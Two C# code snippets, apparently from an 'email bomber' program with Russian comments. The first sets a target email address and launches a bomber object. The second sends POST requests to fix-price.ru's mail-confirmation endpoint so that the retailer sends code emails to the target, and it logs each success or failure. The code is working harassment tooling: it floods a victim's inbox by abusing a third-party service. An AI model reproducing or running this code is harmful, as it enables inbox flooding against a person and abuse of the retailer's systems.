Exemple #1
0
        static void Main(string[] args)
        {
            BomberLogger.GetLogger().Info("Запуск логгера");
            string email = "*****@*****.**";

            LogManager.Configuration.Variables["email"] = email;

            Bomber bomber = BomberFactory.FullBomber(email); //С помощью фабрики создаём новый экземпляр бомбера

            bomber.Bomb().Wait();                            //Начинаем бомбить и ждём завершения задачи
        }
Exemple #2
0
        public override async Task <IDocument> SendEmail(string email)
        {
            #region initPostData
            var postBody = new Dictionary <string, string>(); //Тело POST запроса в виде коллекции<название_поля,значение_поля>, которые передаются в теле POST запроса
            postBody.Add(@"mail_confirm", "Y");
            postBody.Add(@"action", "getCode");
            postBody.Add(@"email", email);
            var documentRequest = DocumentRequest.PostAsUrlencoded(new Url("https://fix-price.ru/ajax/confirm_mail.php"),
                                                                   postBody); //POST запрос к заданному Url'у и телом запроса
            #endregion
            var result = await context.OpenAsync(documentRequest);            //Получаем результат нашего запроса на отправку письма (при готовности)

            string textResponse = unicodeEncode(result.Source.Text);
            if (textResponse == "{\"status\":1}")
            {
                BomberLogger.GetLogger().Info($"fix-price.ru [Успешно]");
            }
            else
            {
                BomberLogger.GetLogger().Info($"fix-price.ru [Провал]");
            }
            return(result);//Возвращаем результат отправки
        }